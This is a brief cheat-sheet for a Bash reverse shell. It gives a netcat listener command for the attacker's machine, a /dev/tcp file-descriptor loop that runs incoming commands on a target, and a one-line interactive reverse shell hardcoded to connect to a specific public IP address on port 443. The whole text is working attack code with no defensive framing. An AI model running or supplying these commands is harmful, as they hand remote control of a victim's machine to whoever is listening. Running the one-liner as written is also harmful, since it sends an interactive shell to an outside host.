Bash reverse shell

#Replace $IP and $PORT on the target machine with your IP and listening Port.

#Open Port on your (attacker) machine
nc -lvvvnp $PORT

#Execute the following on the target machine:
exec 5<>/dev/tcp/$IP/$PORT
cat <&5 | while read line; do $line 2>&5 >&5; done

bash -i >& /dev/tcp/188.209.52.134/443 0>&1